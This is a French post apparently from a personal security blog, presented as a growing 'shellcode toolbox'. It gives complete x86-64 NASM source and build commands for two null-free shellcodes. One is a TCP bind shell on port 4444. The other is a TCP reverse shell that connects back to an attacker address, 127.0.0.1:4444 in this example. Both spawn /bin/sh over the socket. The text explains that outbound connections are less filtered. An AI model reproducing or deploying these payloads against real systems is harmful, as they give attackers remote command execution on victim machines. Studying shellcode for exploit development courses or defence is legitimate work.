Cet article sert de boîte à outils à shellcodes.
J’y mettrai au fil du temps toute une liste de shellcodes afin de servir des objectifs divers et variés.
- TCP Bind Shell – Exploit Safe
Le shellcode est envoyé à la victime et celle-ci écoute (bind) sur un port tcp (4444). L’attaquant initie la connexion vers la victime.
Le code ci-dessous est « exploit safe », il n’y a donc pas de zéros dans les opcodes.
; TCP Bind Shell - Exploit safe (no zeros in opcodes)
; Listen port 4444
;
; nasm -f elf64 Bind-Shell-Safe.nasm -o Bind-Shell-Safe.o
; ld Bind-Shell-Safe.o -o Bind-Shell-Safe
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x1FF
sub word [rsp-8], 0x1FD
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
xor rax, rax
mov al, 49
mov rsi, rsp
xor rdx, rdx
mov dl, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
xor rax, rax
mov al, 50
xor rsi, rsi
mov sil, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
xor rax, rax
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
mov al, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
xor rax, rax
mov al, 33
xor rsi, rsi
syscall
xor rax, rax
mov al, 33
xor rsi ,rsi
mov sil, 1
syscall
xor rax, rax
mov al, 33
xor rsi, rsi
mov sil, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
- TCP Reverse Shell – Exploit Safe
Le shellcode est envoyé à la victime et celle-ci initie la connexion vers l’attaquant (ici sur 127.0.0.1) sur un port tcp (4444). L’avantage est que les flux sortant sont moins filtrés que les flux entrants.
Le code ci-dessous est « exploit safe », il n’y a donc pas de zéros dans les opcodes.
; TCP Reverse Shell - Exploit safe (no zeros in opcodes)
; Connect on 127.0.0.1 on port 4444
;
; nasm -f elf64 Reverse-Shell-Safe.nasm -o Reverse-Shell-Safe.o
; ld Reverse-Shell-Safe.o -o Reverse-Shell-Safe
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
add al, 41
xor rdi, rdi
inc dil
inc dil
xor rsi, rsi
inc sil
xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
;mov dword [rsp-4], 0x0100007f
mov dword [rsp -4], 0x9A999A18
sub dword [rsp -4], 0x99999999
mov word [rsp-6], 0x5c11
;mov word [rsp-8], 0x2
mov word [rsp-8], 0x1FF
sub word [rsp-8], 0x1FD
sub rsp, 8
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
xor rax, rax
add al, 42
mov rsi, rsp
xor rdx, rdx
add dl, 16
syscall
; duplicate sockets
; dup2 (new, old)
xor rax, rax
add al, 33
xor rsi, rsi
syscall
xor rax, rax
add al, 33
xor rsi, rsi
inc sil
syscall
xor rax, rax
add al, 33
xor rsi, rsi
inc sil
inc sil
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall